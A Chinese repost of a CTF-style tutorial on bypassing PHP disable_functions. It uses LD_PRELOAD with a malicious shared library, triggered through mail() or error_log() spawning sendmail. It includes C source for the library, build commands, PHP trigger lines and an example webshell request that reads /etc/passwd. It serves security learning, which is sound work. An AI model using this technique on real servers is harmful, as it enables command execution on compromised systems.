使用LDPRELOAD绕过disablefunctions

The defense of disable_functions

在大多数CTF比赛中,出题者会设置 disable_functions这种环境变量。因此,在某些情况下,我已经在远程服务器上获得了一个webshell,但我却因为 disable_functions而无法使用一些特定的系统函数。因此,我在本文中将展示突破这种难题的方法。首先,我将在我的docker镜像 php:7.1.19-apache上展示我绕过 disable_functions的方法。

首先,我会找到当前系统加载的文件 php.ini

php -i | grep php.ini
// return with "Loaded Configuration File => /usr/local/etc/php/php.ini"

如果在此路径下找不到该文件,那么您只需要自己创建即可。然后,我在文件中写入 disable_functions=system,exec选项。此时请重新启动服务以使更改生效。举个例子来说,我重启了我在在docker镜像上的apache服务,这样就可以在phpinfo()中看到这些变化。有人可能会将使用 <?php putenv("");和直接写入 php.ini文件的区别混淆,实际上,我们可以在官方文档中找到答案:添加设置到服务器环境。环境变量仅存在于当前请求状态下。

为了展示 disable_functions是如何工作的,我试着写了一个webshell:

echo system(ls);// return with "Warning: system() has been disabled for security in /var/www/html/xxx.php"

非常恼人的是,此时尽管您已经获得了shell,但您却不能执行系统函数。在Code Breaking Puzzles比赛中,我使用了各种各样的php函数来解决问题。现在,我将使用 LD_PRELOAD来解决现在我们遇到的这个难题。

Use sendmail to bypass disable_functions

这个方法几年前就已经出现了,它建立在这样的概念之上:当系统试图调用该函数时,该函数位于特定的共享库( xxx.so)中。因此,系统将在调用函数之前加载 xxx.so。换句话说,如果我可以在其中创建一个带有同名evil函数的 evil.so,那么我有机会劫持该函数。

首先,我需要选择我想要劫持的函数,在这里我选择 getuid作为劫持函数,因为它是一个非常基本的函数,不需要任何参数。有了 man2getuid,我重写了这个函数:

// evil.c#include <unistd.h>#include <sys/types.h>
uid_t getuid(void){    system("ls");    return 0;}

其次,我需要找到一个可以调用 getuid并运行新进程的php函数。运行新进程的原因就像我上面提到的,我需要重新启动服务来改变 LD_PRELOAD的值。在这里我选择了 mail(),通过 strace-f php mail.php2>&1,我们可以看到,邮件函数不仅可以调用 getuid,还可以使用 execve("/usr/sbin/sendmail",...来创建新进程。

最后一步,我只需要使用 gcc-shared-fPIC evil.c-o evil.so。在我的webshell中:

putenv("LD_PRELOAD=/var/www/html/evil.so");mail("a","b","c","d");

第一行用来预加载evil共享库。在下一行,当 mail()找到 getuid并尝试运行它时,它实际运行的是其中包含 system("ls")的被劫持函数。除此之外, error_log()还将执行sendmail。尝试运行 error_log("test",1,"","")

但是,系统上没有安装 sendmail,或者开发人员可能会限制执行 /usr/sbin/sendmail,这将导致创建新进程失败。

Without sendmail to bypass disable_functions

在这里,我建议你可以试着不劫持函数进行攻击。我们可以改为直接劫持共享库!我会用这个 __attribute__((__constructor__))这个概念。就像How exactly does attribute((constructor)) work(https://stackoverflow.com/questions/2053029/how-exactly-does-attribute-constructor-work) 这篇文章中写的一样,在stackoverflow中,它在加载共享库时,通常是在程序启动期间运行。因此,我重写C程序以劫持共享库:

// evil.c#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){    unsetenv("LD_PRELOAD");    const char* cmd = getenv("CMD");    system(cmd);}

最后我又一次使用了 gcc-shared-fPIC evil.c-o evil.so,并且写了另一个php webshell:

通过 xxx/?cmd=cat/etc/passwd&out=res.txt&sopath=/var/www/html/evil.so,我可以动态执行我想要运行的命令。

重点

1.我们使用 mail()的原因是,函数将会执行sendmail,它将启动一个新进程并运行 getuid(),这样我们就可以劫持 getuid()

2.如果没有sendmail,我们只能放弃劫持 getuid。但我们可以使函数在主函数之前运行劫持新启动的进程。当 mail()尝试启动一个新的子进程时, evil.so会再次加载。

3.如果 mail()也被禁止,我们需要找到的是另一个可以启动新进程的函数。我们可以测试 imagick(),它将启动一个子进程来执行 ffmpeg。同样,我们也可以在 __attribute__上获得成功!

原文链接:https://blog.1pwnch.com/websecurity/2019/04/08/Bypass-disablefuncs-with-LDPRELOAD/

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-04-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏优惠券

腾讯云从注册域名到发布网站(完整版)

写过很多关于腾讯云基础建站的文章,总体觉得这篇文章还是最全最标准的腾讯云从注册域名到发布网站完整教程

1.3K20
来自专栏优惠券

在腾讯云上安装搭建discuz论坛教程

我们要想自己建一个论坛网站,使用的源码最好的应该就是discuz论坛源码了,当然了不同源码的安装搭建是不相同的,今天我就来教大家discuz论坛怎么安装搭建吧。...

89330
来自专栏软件开发-青出于蓝

学习nginx 下面只是简单的配置文件 原

#error_log  logs/error.log; #error_log  logs/error.log  notice; #error_log  lo...

12830
来自专栏优惠券

腾讯云对象储存cos的配置方法简单说明

COS是腾讯云提供的对象存储服务,功能非常强大,可以作为文件服务器,CDN加速,静态网页服务,还提供了图片的常用操作。相关API文档:https://cloud...

68640
来自专栏服务器安全专线

win2008下如何去搭建属于自己的web服务器(wamp)

  脚本之家小编注:因为图片格式问题,如果图片不能显示请使用chrome浏览器浏览。

33400
来自专栏优惠券

在腾讯云上搭建织梦网站教程(附腾讯云优惠券)

DeDecms是一个开源的免费建站程序,利用DEDE仿站你可以建立自己的个人网站、企业网站、内容平台、甚至是门户网站。DEDE拥有漂亮的模板和强大的标签,每天都...

52840
来自专栏优惠券

如何在腾讯云上快速搭建Web服务器

Web服务器由于它的安全,方便,简洁等优点,已经成为目前使用规模最广的服务器。个人或者企业搭建网站是万万不能离开它的,然而搭建Web服务器却对于一部分非专业人士...

1K10
来自专栏优惠券

腾讯云CDN开启SSL返回302

使用腾讯云的CDN,配置好SSL后,开启强制HTTPS,默认是返回302的。但是不开启强制HTTPS,源站配置的HTTPS跳转貌似是无效的(首页)

33930
来自专栏优惠券

腾讯云基础网络和私有网络那个好?

腾讯云基础网络和私有网络有什么区别?最近小编在腾讯云论坛上发现有用户讨论基础网络和私有网络的区别之处,所以小编就整理了他们之间的区别给大家分享,希望能够帮助到一...

83120
来自专栏优惠券

在腾讯云上使用织梦仿站教程(附腾讯云优惠券)

织梦作为一套强大的cms系统,被很多人拿来建设网站,同时由于织梦标签自由,灵活的特点,很多人拿它来仿站用,今天小编就来教大家怎么用织梦仿站-首页的仿制。

19830

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励